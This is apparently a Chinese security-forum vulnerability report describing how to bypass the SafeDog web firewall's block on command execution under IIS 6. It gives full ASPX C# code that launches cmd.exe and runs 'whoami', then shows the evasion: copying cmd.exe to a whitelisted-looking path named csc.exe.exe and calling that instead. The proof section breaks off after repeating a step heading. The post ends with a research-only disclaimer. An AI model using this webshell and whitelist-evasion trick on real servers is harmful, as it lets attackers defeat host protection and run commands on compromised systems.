安全狗禁止执行iis命令绕过
简要描述:
安全狗禁止执行iis命令绕过
详细说明:
1:= =安全狗功能越来越狠了,初略看一下大概有如下恶心的事儿:
1):上传防护,如上传aspx和asp就被干掉
2):浏览防护,直接访问aspx马,查杀
3):静态扫描
4):马传上去之后还有一句话连接的防护,就是常见的灭菜刀
5):还有恶意组件禁止执行
6):禁止iis的命令执行
2:前面的1234,zone里经常有人讨论,上传和静态查杀使用之前的zone里发过的内容即可绕过,这里主要说下最后个禁止iis命令执行
3:这里我使用的网站安全狗,版本是3.5版本
系统是win2003 iis6.0
4:自己创建了一个aspx的页面代码如下:
using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System.Diagnostics; using System.ComponentModel; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void btnShow_Click(object sender, EventArgs e) { Process p = new Process(); p.StartInfo.FileName = "C://WINDOWS//system32//cmd.exe"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; string strOutput = null; p.Start(); p.StandardInput.WriteLine("whoami"); p.StandardInput.WriteLine("exit"); strOutput = p.StandardOutput.ReadToEnd(); p.WaitForExit(); p.Close(); this.lblDisplay.Text = strOutput; } }
大致就是点击的时候执行了一个cmd的命令
5:开启安全的时候直接报错了,提示执行了cmd命令
6:这里我们查看了一下白名单,于是有了想法,我把exe文件改成csc.exe.exe,看看行不行,于是我拷贝了一个到C:/WINDOWS/Microsoft.NET/Framework/v4.0.30319/csc.exe.exe
7:然后修改代码执行下:
修改后的文件代码:
using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System.Diagnostics; using System.ComponentModel; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void btnShow_Click(object sender, EventArgs e) { Process p = new Process(); p.StartInfo.FileName = "C://WINDOWS//Microsoft.NET//Framework//v4.0.30319//csc.exe.exe"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; string strOutput = null; p.Start(); p.StandardInput.WriteLine("whoami"); p.StandardInput.WriteLine("exit"); strOutput = p.StandardOutput.ReadToEnd(); p.WaitForExit(); p.Close(); this.lblDisplay.Text = strOutput; } }
漏洞证明:
7:然后修改代码执行下:
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论